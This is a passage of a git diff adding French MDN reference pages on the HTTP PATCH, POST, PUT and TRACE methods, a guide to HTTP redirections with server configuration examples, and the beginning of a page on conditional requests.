annoncer son support en l'ajoutant à la liste des méthodes autorisées dans les headers de la réponse {{HTTPHeader ("Allow")}} ou encore {{HTTPHeader ("Access-Control-Allow-Methods")}} (pour CORS).</p> + +<p>Une autre indication (implicite) que la méthode PATCH est autorisée est la présence du header {{HTTPHeader("Accept-Patch")}}.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">La requête possède un corps de message (body)</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">Une requête traitée avec succès retourne une réponse avec un corps de message (body)</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">Utilisation au sein des <a href="/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a></th> + <td>Non</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">PATCH /file.txt HTTP/1.1 +</pre> + +<h2 id="Exemple">Exemple</h2> + +<h3 id="Requête">Requête</h3> + +<pre class="line-numbers language-html">PATCH /file.txt HTTP/1.1 +Host: www.example.com +Content-Type: application/example +If-Match: "e0023aa4e" +Content-Length: 100 + +[description des changements]</pre> + +<h3 id="Réponse">Réponse</h3> + +<p>Une requête traitée avec succès retourne une réponse accompagnée d'un code de réponse {{HTTPStatus("204")}}. Dans ce cas-ci, la réponse ne contient un corps de message.</p> + +<pre class="newpage">HTTP/1.1 204 No Content +Content-Location: /file.txt +ETag: "e0023aa4f"</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("5789", "PATCH")}}</td> + <td>Méthode PATCH pour HTTP (PATCH Method for HTTP)</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPStatus("204")}}</li> + <li>{{HTTPHeader("Allow")}}, {{HTTPHeader("Access-Control-Allow-Methods")}}</li> + <li>{{HTTPHeader("Accept-Patch")}} – spécifie les formats de document de patch acceptés par le serveur.</li> +</ul> diff --git a/files/fr/web/http/méthode/post/index.html b/files/fr/web/http/méthode/post/index.html new file mode 100644 index 0000000000..e534246de7 --- /dev/null +++ b/files/fr/web/http/méthode/post/index.html @@ -0,0 +1,119 @@ +--- +title: POST +slug: Web/HTTP/Méthode/POST +tags: + - HTTP + - Reference + - Request method +translation_of: Web/HTTP/Methods/POST +--- +<div>{{HTTPSidebar}}</div> + +<p>La <strong>méthode HTTP <code>POST</code></strong> envoie des données au serveur. Le type du corps de la requête est indiqué par l'en-tête {{HTTPHeader("Content-Type")}}.</p> + +<p>La différence entre <code>PUT</code> et {{HTTPMethod("POST")}} tient au fait que <code>PUT</code> est une méthode idempotente. Une requête <code>PUT</code>, envoyée une ou plusieurs fois avec succès, aura toujours le même effet (il n'y a pas d'effet de bord). À l'inverse, des requêtes <code>POST</code> successives et identiques peuvent avoir des effets additionnels, ce qui peut revenir par exemple à passer plusieurs fois une commande.</p> + +<p>Une requête <code>POST</code> est habituellement envoyée via un <a href="/en-US/docs/Web/Guide/HTML/Forms">formulaire HTML</a> et a pour résultat un changement sur le serveur. Dans ce cas, le type du contenu est sélectionné en mettant la chaîne de caractères adéquate dans l'attribut<dfn> {{htmlattrxref("enctype", "form")}} de l'élément {{HTMLElement("form")}} ou dans l'attribut {{htmlattrxref("formenctype", "input")}} de l'élément {{HTMLElement("input") }}, voir celui des éléments {{HTMLElement("button")}}</dfn> :</p> + +<ul> + <li><code>application/</code><dfn><code>x-www-form-urlencoded</code> : les valeurs sont encodées sous forme de couples clé-valeur séparés par <code>'&'</code>, avec un <code>'='</code> entre la clé et la valeur. Les caractères non alphanumériques sont {{glossary("percent encoded")}} : c'est la raison pour laquelle ce type de format n'est pas adapté à une utilisation avec des données binaires (utilisez <code>multipart/form-data</code> à la place)</dfn></li> + <li><dfn><code>multipart/form-data</code></dfn></li> + <li><dfn><code>text/plain</code></dfn></li> +</ul> + +<p>Lorsque la requête <code>POST</code> est envoyée par un autre moyen qu'un formulaire HTML, par exemple via {{domxref("XMLHttpRequest")}}, le corps peut être de n'importe quel type. Comme décrit dans la spécification HTTP 1.1, <code>la méthode POST</code> est conçue pour permettre une méthode uniforme couvrant les fonctions suivantes :</p> + +<ul> + <li>Annotation de ressources existantes</li> + <li>Publication d'un message sur un tableau d'affichage, un groupe de discussion, une liste de diffusion, ou un groupe similaire d'articles;</li> + <li>Apport d'un bloc de données, tel que le résultat produit par la soumission d'un formulaire, à un processus de traitement de données;</li> + <li>Extension d'une base de données au travers d'une opération d'ajout.</li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">La requête a un corps</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">Une réponse inclut un corps</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe","Sûre")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent","Idempotente")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable","Peut être mise en cache")}}</th> + <td>Seulement si une information de péremption est incluse</td> + </tr> + <tr> + <th scope="row">Autorisée dans les <a href="/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a></th> + <td>Oui</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">POST /index.html +</pre> + +<h2 id="Exemple">Exemple</h2> + +<p>Un formulaire simple utilisant le type de contenu par défaut <code>application/x-www-form-urlencoded</code> :</p> + +<pre class="line-numbers language-html">POST / HTTP/1.1 +Host: foo.com +Content-Type: application/x-www-form-urlencoded +Content-Length: 13 + +say=Hi&to=Mom</pre> + +<p>Un formulaire utilisant le type de contenu <code>multipart/form-data</code> :</p> + +<pre>POST /test.html HTTP/1.1 +Host: example.org +Content-Type: multipart/form-data;boundary="boundary" + +--boundary +Content-Disposition: form-data; name="field1" + +value1 +--boundary +Content-Disposition: form-data; name="field2"; filename="example.txt" + +value2</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "POST", "4.3.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.methods.POST")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Type")}}</li> + <li>{{HTTPHeader("Content-Disposition")}}</li> +</ul> diff --git a/files/fr/web/http/méthode/put/index.html b/files/fr/web/http/méthode/put/index.html new file mode 100644 index 0000000000..d6e7dbeeb7 --- /dev/null +++ b/files/fr/web/http/méthode/put/index.html @@ -0,0 +1,95 @@ +--- +title: PUT +slug: Web/HTTP/Méthode/PUT +tags: + - HTTP + - HTTP method + - Reference + - Request method +translation_of: Web/HTTP/Methods/PUT +--- +<div>{{HTTPSidebar}}</div> + +<p>La <strong>méthode HTTP PUT</strong> crée une nouvelle ressource ou remplace une représentation de la ressource ciblée par le contenu de la requête.</p> + +<p>La différence entre <code>PUT</code> et <a class="new" href="https://developer.mozilla.org/fr/docs/Web/HTTP/Methods/POST" title="Cette documentation n'a pas encore été rédigée, vous pouvez aider en contribuant !"><code>POST</code></a> tient au fait que <code>PUT</code> est une méthode idempotente. Une requête PUT, envoyée une ou plusieurs fois avec succès, aura toujours le même effet (il n'y a pas d'effet <em>de bord</em>). À l'inverse, des requêtes POST successives et identiques peuvent avoir des effets additionnels, ce qui peut revenir par exemple à passer plusieurs fois une commande.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">La requête a un corps</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">Une réponse de succès a un corps</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Sûre")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotente")}}</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Peut être mise en cache")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">Autorisée dans les <a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a></th> + <td>Non</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">PUT /new.html HTTP/1.1 +</pre> + +<h2 id="Exemple">Exemple</h2> + +<h3 id="Requête">Requête</h3> + +<pre>PUT /new.html HTTP/1.1 +Host: example.com +Content-type: text/html +Content-length: 16 + +<p>New File</p></pre> + +<h3 id="Réponses">Réponses</h3> + +<p>Si la ressource ciblée ne possède pas de représentation courante et que la requête <code>PUT</code> en crée une avec succès, alors le serveur d'origine doit informer l'agent utilisateur en envoyant une réponse{{HTTPStatus("201")}} (<code>Created</code>).</p> + +<pre class="newpage">HTTP/1.1 201 Created +Content-Location: /new.html</pre> + +<p>Si la ressource ciblée a déjà une représentation et que cette représentation est modifiée avec succès, conformément à l'état de la représentation jointe, alors le serveur d'origine doit envoyer une réponse, que ce soit {{HTTPStatus("200")}} (<code>OK</code>) ou {{HTTPStatus("204")}} (<code>No Content</code>), pour indiquer la réussite de la requête.</p> + +<pre>HTTP/1.1 204 No Content +Content-Location: /existing.html +</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "PUT", "4.3.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPStatus("201")}}</li> + <li>{{HTTPStatus("204")}}</li> +</ul> diff --git a/files/fr/web/http/méthode/trace/index.html b/files/fr/web/http/méthode/trace/index.html new file mode 100644 index 0000000000..cc58e561ca --- /dev/null +++ b/files/fr/web/http/méthode/trace/index.html @@ -0,0 +1,77 @@ +--- +title: TRACE +slug: Web/HTTP/Méthode/TRACE +tags: + - HTTP + - Reference + - requête +translation_of: Web/HTTP/Methods/TRACE +--- +<div>{{HTTPSidebar}}</div> + +<p>La <strong>méthode</strong> <strong>HTTP <code>TRACE</code> </strong>effectue un test de rebouclage des messages le long du chemin vers la ressource cible, fournissant ainsi un mécanisme de débogage utile.</p> + +<p>Le destinataire final de la demande doit renvoyer au client le message reçu, à l'exclusion de certains champs décrits ci-dessous, en tant que corps de message d'une réponse {{HTTPStatus("200")}}. (OK) avec un {{HTTPHeader("Content-Type")}} de <code>message/http</code>. Le destinataire final est soit le serveur d'origine, soit le premier serveur à recevoir une valeur {{HTTPHeader("Max-Forwards")}} de 0 dans la requête.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">La demande a un corps</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">Une réponse réussie a un corps</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent")}}</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">Autorisé dans les formulaires HTML</th> + <td>Non</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox notranslate">TRACE /index.html +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "TRACE", "4.3.8")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez nous une pull request.</p> + +<p>{{Compat("http.methods.TRACE")}}</p> + +<h2 id="Voir_également">Voir également</h2> + +<ul> + <li><a href="https://wiki.developer.mozilla.org/fr/docs/Web/HTTP/Méthode">Méthodes HTTP</a></li> +</ul> diff --git a/files/fr/web/http/redirections/index.html b/files/fr/web/http/redirections/index.html new file mode 100644 index 0000000000..d3a809e3c3 --- /dev/null +++ b/files/fr/web/http/redirections/index.html @@ -0,0 +1,261 @@ +--- +title: Redirections en HTTP +slug: Web/HTTP/Redirections +tags: + - Guide + - HTTP + - redirections +translation_of: Web/HTTP/Redirections +--- +<div>{{HTTPSidebar}}</div> + +<div>La redirection d'URL est une technique pour donner à une page, un formulaire ou une application Web entière, plus d'une adresse. HTTP fournit un type particulier de réponses, les <em><strong>redirections HTTP</strong></em>, pour effectuer cette opération utilisée pour de nombreux objectifs : redirection temporaire pendant la maintenance du site, redirection permanente pour que les liens externes continuent de fonctionner après un changement d'architecture du site, pages de progression lors du téléchargement d'un fichier, etc.</div> + +<h2 id="Principe">Principe</h2> + +<p>En HTTP, une redirection est déclenchée par le serveur en envoyant des réponses spéciales à une requête : <em>les redirections</em>. Les redirections HTTP sont des réponses avec un code d'état de <code>3xx</code>. Un navigateur, lorsqu'il reçoit une réponse de redirection, utilise la nouvelle URL fournie et la charge immédiatement : la plupart du temps, la redirection est transparente pour l'utilisateur, si ce n'est un petit impact de performance.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13785/HTTPRedirect.png"></p> + +<p>Il existe plusieurs types de redirections et elles se répartissent en trois catégories : les redirections permanentes, les temporaires et les spéciales.</p> + +<h3 id="Redirections_permanentes">Redirections permanentes</h3> + +<p>Ces redirections sont faites pour durer éternellement. Elles impliquent que l'URL d'origine ne doit plus être utilisée et que la nouvelle URL est préférée. Les robots des moteurs de recherche déclenchent une mise à jour de l'URL associée à la ressource dans leurs index.</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Code</th> + <th scope="col">Texte</th> + <th scope="col">Traitement des méthodes</th> + <th scope="col">Cas d'utilisation typique</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>301</code></td> + <td><code>Moved Permanently</code></td> + <td>Requêtes {{HTTPMethod("GET")}} inchangées.<br> + Les autres peuvent être changés ou non en {{HTTPMethod("GET")}}.<sup><a href="#attr1">[1]</a></sup></td> + <td>Réorganisation d'un site Web.</td> + </tr> + <tr> + <td><code>308</code></td> + <td><code>Permanent Redirect</code></td> + <td>Méthode et corps de la requête inchangés.</td> + <td>Réorganisation d'un site Web, avec des liens/opérations non-GET.</td> + </tr> + </tbody> +</table> + +<p><a id="attr1" name="attr1"></a>[1] La spécification n'avait pas l'intention de permettre des changements de méthode, mais il y a en pratique des agents utilisateurs qui le font. <code>308</code> a été créé pour supprimer l'ambiguïté du comportement lors de l'utilisation de méthodes autres que <code>GET</code>.</p> + +<h3 id="Redirections_temporaires">Redirections temporaires</h3> + +<p>Parfois, la ressource demandée ne peut pas être accédée à partir de son emplacement standard, mais elle peut l'être à partir d'un autre endroit. Dans ce cas, une redirection temporaire peut être utilisée. Les robots des moteurs de recherche ne mémorisent pas le nouveau lien temporaire. Les redirections temporaires sont également utilisées lors de la création, de la mise à jour et de la suppression de ressources pour présenter des pages de progression temporaires.</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Code</th> + <th scope="col">Texte</th> + <th scope="col">Traitement des méthodes</th> + <th scope="col">Cas d'utilisation typique</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>302</code></td> + <td><code>Found</code></td> + <td>Requêtes {{HTTPMethod("GET")}} inchangées.<br> + Les autres peuvent être changés ou non en {{HTTPMethod("GET")}}.<sup><a href="#attr2">[2]</a></sup></td> + <td>La page Web n'est temporairement pas disponible pour des raisons qui n'ont pas été imprévues. De cette façon, les moteurs de recherche ne mettent pas à jour leurs liens.</td> + </tr> + <tr> + <td><code>303</code></td> + <td><code>See Other</code></td> + <td>Requêtes {{HTTPMethod("GET")}} inchangées.<br> + Les autres sont changées en <code>GET</code> (le corps est perdu).</td> + <td>Utilisé pour rediriger après un {{HTTPMethod("PUT")}} ou un {{HTTPMethod("POST")}} pour empêcher un rafraîchissement de la page qui redéclencherait l'opération.</td> + </tr> + <tr> + <td><code>307</code></td> + <td><code>Temporary Redirect</code></td> + <td>Méthodes et corps inchangés</td> + <td>La page Web n'est temporairement pas disponible pour des raisons qui n'ont pas été imprévues. De cette façon, les moteurs de recherche ne mettent pas à jour leurs liens. Mieux que <code>302</code> lorsque des liens/opérations non-GET sont disponibles sur le site.</td> + </tr> + </tbody> +</table> + +<p><a id="attr2" name="attr2"></a>[2] La spécification n'avait pas l'intention de permettre des changements de méthode, mais il y a en pratique des agents utilisateurs qui le font. <code>307</code> a été créé pour supprimer l'ambiguïté du comportement lors de l'utilisation de méthodes autres que <code>GET</code></p> + +<h3 id="Redirections_spéciales">Redirections spéciales</h3> + +<p>En plus de ces redirections habituelles, il existe deux redirections spécifiques. Le {{HTTPStatus("304")}} (Not Modified) redirige une page vers la copie mise en cache localement (qui était obsolète), et le {{HTTPStatus("300")}} (Multiple Choice) est une redirection manuelle : le corps, présenté par le navigateur comme une page Web, liste les redirections possibles et l'utilisateur clique sur une pour la sélectionner.</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Code</th> + <th scope="col">Texte</th> + <th scope="col">Cas d'utilisation typique</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>300</code></td> + <td><code>Multiple Choice</code></td> + <td>Pas beaucoup : les choix sont listés dans une page HTML dans le corps du texte. Pourrait être servi avec un {{HTTPStatus("200")}} <code>OK</code> status.</td> + </tr> + <tr> + <td><code>304</code></td> + <td><code>Not Modified</code></td> + <td>Rafraîchissement du cache : ceci indique que la valeur dans le cache est encore correcte et peut être utilisée.</td> + </tr> + </tbody> +</table> + +<h2 id="Autre_façon_de_spécifier_les_redirections">Autre façon de spécifier les redirections</h2> + +<p>Les redirections HTTP ne sont pas les seuls moyens de définir des redirections. Il existe deux autres méthodes: les redirections HTML en utilisant l'élément {{HTMLElement("meta")}}, et les redirections JavaScript en utilisant le <a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a>.</p> + +<h3 id="Redirections_HTML">Redirections HTML</h3> + +<p>Les redirections HTTP sont le moyen privilégié de créer des redirections, mais parfois le développeur Web n'a pas le contrôle du serveur ou ne peut pas le configurer. Pour ces cas spécifiques, les développeurs Web peuvent créer une page HTML avec un élément {{HTMLElement("meta")}} et son attribut {{htmlattrxref("http-equiv", "meta")}} avec la valeur <code>refresh</code>, positionné dans le {{HTMLElement("head")}} de la page. Lors de l'affichage de la page, le navigateur trouvera cet élément et ira à la page indiquée.</p> + +<pre class="brush: html"><head> + <meta http-equiv="refresh" content="0; URL=http://www.example.com/" /> +</head> +</pre> + +<p>L'attribut {{htmlattrxref("content")}} commence avec un nombre indiquant combien de secondes le navigateur doit attendre avant de rediriger vers l'URL fournie. Toujours le mettre à 0, pour une meilleure accessibilité.</p> + +<p>Bien entendu, cette méthode ne fonctionne qu'avec des pages HTML (ou similaires) et ne peut être utilisée pour des images ou tout autre type de contenu.</p> + +<div class="note"> +<p>Notez que ces redirections cassent le bouton de retour dans un navigateur : vous pouvez revenir à une page avec cet en-tête mais mais vous serez de nouveau instantanément rediriger.</p> +</div> + +<h3 id="Redirections_JavaScript">Redirections JavaScript</h3> + +<p>Les redirections en JavaScript se créent en définissant une valeur pour la propriété {{domxref("window.location")}} et la nouvelle page est alors chargée.</p> + +<pre class="brush: js">window.location = "http://www.example.com/";</pre> + +<p>Comme les redirections HTML, cela ne fonctionne pas sur toutes les ressources, et évidemment, cela ne marchera que pour les clients qui exécutent du JavaScript. D'un autre côté, il y a plus de possibilités car vous ne pouvez déclencher la redirection que si certaines conditions sont remplies, par exemple.</p> + +<h3 id="Ordre_de_priorité">Ordre de priorité</h3> + +<p>Avec trois possibilités de redirections d'URL, plusieurs méthodes peuvent être spécifiées en même temps, mais laquelle est appliquée en premier ? L'ordre de priorité est le suivant:</p> + +<ol> + <li>Les redirections HTTP sont toujours exécutées en premier, alors même que la page n'est pas transmise, et ni même lue.</li> + <li>Les redirections HTML ({{HTMLElement("meta")}}) sont exécutées are executed s'il n'y avait pas de redirections HTTP.</li> + <li>Les redirections JavaScript sont utilisées en dernier recours, et uniquement si JavaScript est activé côté client.</li> +</ol> + +<p>Dans la mesure du possible, utilisez des redirections HTTP, et n'ajoutez pas d'élément {{HTMLElement("meta")}} de redirection. Si quelqu'un change les redirections HTTP et oublie de changer les redirections HTML, les redirections ne seront plus identiques, ce qui pourrait causer une boucle infinie ou d'autres cauchemars.</p> + +<h2 id="Cas_dutilisation">Cas d'utilisation</h2> + +<p>Il existe de nombreux cas d'utilisation pour les redirections, mais comme les performances sont affectées par chaque redirection, leur utilisation doit être réduite au minimum.</p> + +<h3 id="Alias_de_domaine">Alias de domaine</h3> + +<p>Idéalement, il n'y a qu'un seul emplacement, et donc qu'une seule URL pour une seule ressource. Mais il existe plein de raisons de vouloir des noms alternatifs pour une même ressource (plusieurs domaines, comme avec et sans le préfixe www ou des URLs plus courtes et faciles à retenir, ....). Dans ces cas, plutôt que de dupliquer la ressource, il est utile d'utiliser une redirection vers la vraie URL (canonique).</p> + +<p>Un alias de domaine peut être fait pour plusieurs raisons:</p> + +<ul> + <li>Élargir la portée de votre site. Un cas courant est celui où votre site se trouve sous le domaine <code>www.example.com</code> et où l'accès à vos pages à partir de <code>example.com</code> devrait également être possible. Dans ce cas, des redirections vers <code>www.example.com</code> sont mises en place, pour les pages de <code>example.com</code>. Vous pouvez également fournir des noms synonymes couramment utilisés ou des fautes de frappe fréquentes de vos noms de domaine.</li> + <li>Passer à un autre domaine. Par exemple, votre société a été renommée et lorsqu'on recherche l'ancien nom, vous voulez que les gens habitués à l'ancien site Web de la société vous trouvent sous le nouveau nom.</li> + <li>Forcer HTTPS. Les requêtes vers la version HTTP non sécurisée de votre site seront redirigées vers la version HTTPS de votre site.</li> +</ul> + +<h3 id="Maintenir_les_liens_en_vie">Maintenir les liens en vie</h3> + +<p>Lorsque vous restructurez des sites Web, les URL des ressources changent. Même si vous pouvez mettre à jour les liens internes de votre site Web pour qu'ils correspondent au nouveau schéma de nommage, vous n'avez aucun contrôle sur les URL utilisées par les ressources externes. Vous ne voulez pas briser ces liens, car ils vous apportent des utilisateurs précieux (et aident votre référencement), donc vous configurez des redirections depuis les anciennes URL vers les nouvelles.</p> + +<div class="note"> +<p>Même si cette technique fonctionne également pour les liens internes, vous devriez éviter d'avoir des redirections internes. Une redirection a un coût significatif sur les performances (car une requête HTTP supplémentaire est faite) et si vous pouvez l'éviter en corrigeant les liens internes, vous devez corriger ces liens.</p> +</div> + +<h3 id="Réponses_temporaires_aux_requêtes_non_sécurisées">Réponses temporaires aux requêtes non sécurisées</h3> + +<p>Les requêtes {{Glossary("safe", "Unsafe")}} modifient l'état du serveur et l'utilisateur ne devrait pas les rejouer par inadvertance. Typiquement, vous ne voulez pas que vos utilisateurs renvoient des requêtes {{HTTPMethod("PUT")}}, {{HTTPMethod("POST")}} ou {{HTTPMethod("DELETE")}}. Si vous ne vous contentez que d'envoyer la réponse à la suite de cette requête, une simple clic sur le bouton de rechargement (éventuellement après un message de confirmation), renvoie la demande.</p> + +<p>Dans ce cas, le serveur peut renvoyer une réponse {{HTTPStatus("303")}} (See Other) qui contiendra les bonnes informations, mais si le bouton de rechargement est pressé, seule cette page est réaffichée, sans rejouer les demandes non sécurisées.</p> + +<h3 id="Réponses_temporaires_aux_longues_requêtes">Réponses temporaires aux longues requêtes</h3> + +<p>Certaines requêtes peuvent nécessiter plus de temps sur le serveur comme parfois des requêtes {{HTTPHeader("DELETE")}} qui sont planifiés pour un traitement ultérieur. Dans ce cas, la réponse est un {{HTTPStatus("303")}} (See Other) qui renvoie à une page indiquant que l'action a été programmée, et informe éventuellement de l'avancement de l'action, ou permet de l'annuler.</p> + +<h2 id="Configuration_des_redirections_dans_les_serveurs_les_plus_courants">Configuration des redirections dans les serveurs les plus courants</h2> + +<h3 id="Apache">Apache</h3> + +<p>Les redirections peuvent être définies soit dans le fichier de configuration du serveur, soit dans le fichier <code>.htaccess</code> de chaque répertoire.</p> + +<p>Le module <a href="https://httpd.apache.org/docs/current/mod/mod_alias.html">mod_alias</a> a des directives <code>Redirect</code> et <code>RedirectMatch</code> qui définissent une réponse {{HTTPStatus("302")}} (par défaut):</p> + +<pre><VirtualHost *:80> + ServerName example.com + Redirect / http://www.example.com +</VirtualHost> +</pre> + +<p>L'URL <code>http://example.com/</code> sera redirigée vers <code>http://www.example.com/</code>, ainsi que les fichiers ou répertoires qui s'y trouvent (<code>http://example.com/index.html</code> sera redirigée vers <code>http://www.example.com/index.html</code>)</p> + +<p><code>RedirectMatch</code> fait la même chose mais prend une expression régulière pour définir une liste d'URLs concernées:</p> + +<pre>RedirectMatch ^/images/(.*)$ http://images.example.com/$1</pre> + +<p>Tous les documents dans le répertoire <code>images/</code> seront redirigés vers un autre domaine.</p> + +<p>Si vous ne souhaitez pas configurer une redirection temporaire, un paramètre supplémentaire (soit le code d'état HTTP à utiliser, soit le mot clé <code>permanent</code>) peut être utilisé pour configurer un autre type de redirection:</p> + +<pre>Redirect permanent / http://www.example.com +Redirect 301 / http://www.example.com +</pre> + +<p>Le module <a href="http://httpd.apache.org/docs/current/mod/mod_rewrite.html">mod_rewrite</a> peut également être utilisé pour créer des redirections. Il est plus flexible, mais un peu plus complexe à utiliser.</p> + +<h3 id="Nginx">Nginx</h3> + +<p>Dans Nginx, vous créez un bloc <code>server</code> spécifique pour le contenu que vous voulez rediriger:</p> + +<pre>server { + listen 80; + server_name example.com; + return 301 $scheme://www.example.com$request_uri; +}</pre> + +<p>Pour appliquer une redirection pour un dossier ou un sous-ensemble de pages uniquement, utilisez la directive <code>rewrite</code>:</p> + +<pre>rewrite ^/images/(.*)$ http://images.example.com/$1 redirect; +rewrite ^/images/(.*)$ http://images.example.com/$1 permanent; +</pre> + +<h3 id="IIS">IIS</h3> + +<p>Dans IIS, vous devez utiliser l'élément <code><a href="https://www.iis.net/configreference/system.webserver/httpredirect"><httpRedirect></a></code> pour configurer les redirections.</p> + +<h2 id="Boucles_de_redirection">Boucles de redirection</h2> + +<p>Les boucles de redirection se produisent lorsque lorsque les redirections se succèdent en suivant celle déjà effectuée. En d'autres termes, il y a une boucle qui ne terminera jamais et aucune page ne sera finalement trouvée.</p> + +<p>La plupart du temps, il s'agit d'un problème de serveur, et si le serveur ne peut pas le détecter, il renvoie le message {{HTTPStatus("500")}} <code>Internal Server Error</code>. Si vous rencontrez une telle erreur peu après avoir modifié une configuration de serveur, il s'agit probablement d'une boucle de redirection.</p> + +<p>Parfois, le serveur ne le détecte pas : une boucle de redirection peut s'étendre sur plusieurs serveurs qui n'ont pas une vue globale de ce qui se passe. Dans ce cas, les navigateurs le détecteront et afficheront un message d'erreur. Firefox affichera:</p> + +<pre class="bz_comment_text" id="comment_text_0">Firefox a détecté que le serveur redirige la demande pour cette adresse d'une manière qui n'aboutira pas. +</pre> + +<p>tandis que Chrome affichera:</p> + +<pre>Cette page Web présente une boucle de redirection</pre> + +<p>Dans les deux cas, l'utilisateur ne peut pas faire grand-chose (à moins qu'une corruption ne se produise de son côté, comme une inadéquation du cache ou des cookies).</p> + +<p>Il est important d'éviter les boucles de redirection car elles perturbent complètement l'expérience utilisateur.</p> diff --git a/files/fr/web/http/requêtes_conditionnelles/index.html b/files/fr/web/http/requêtes_conditionnelles/index.html new file mode 100644 index 0000000000..922b07a2fd --- /dev/null +++ b/files/fr/web/http/requêtes_conditionnelles/index.html @@ -0,0 +1,147 @@ +--- +title: 'HTTP : Requêtes conditionnelles' +slug: Web/HTTP/Requêtes_conditionnelles +tags: + - Guide + - HTTP + - Requêtes Conditionnelles +translation_of: Web/HTTP/Conditional_requests +--- +<p>{{HTTPSidebar}}</p> + +<p class="summary">HTTP a un concept de requête conditionnelle où le résultat, et même le succés d'une requête, peut être changé en comparant les ressources affectées avec la valeur d'un validateur. De telles requêtes peuvent être utiles pour valider le contenu d'un cache et mettre de côté un contrôle inutile pour vérifier l'intégrité d'un document, comme le sommaire d'un téléchargement, ou éviter de perdre des mises à jour quand on télécharge ou modifie un document sur le serveur.</p> + +<h2 id="Principes">Principes</h2> + +<p>Les requêtes conditionnelles HTTP s'exécutent différemment en fonction de la valeur spécifique des en-têtes. Ces en-têtes définissent une condition de départ (pré-condition) et le résultat de la requête sera différent selon que la pré-condition est satisfaite ou non.</p> + +<p>Les comportements différents sont définis par la méthode qu'utilise la requête et par un ensemble d'en-têtes propres aux préconditions :</p> + +<ul> + <li>Pour une méthode {{glossary("safe")}} comme {{HTTPMethod("GET")}}, qui, habituellement va chercher un document, la requête conditionnelle peut renvoyer le document si c'est pertinent seulement. Cela économise de la bande passante.</li> + <li>Pour les méthodes {{glossary("safe", "unsafe")}} comme {HTTPMethod("PUT")}}, qui charge habituellement un document, la requête conditionnelle peut servir à charger le document, uniquement si l'original sur lequel la requête est basée est le même que celui stocké sur le serveur.</li> +</ul> + +<h2 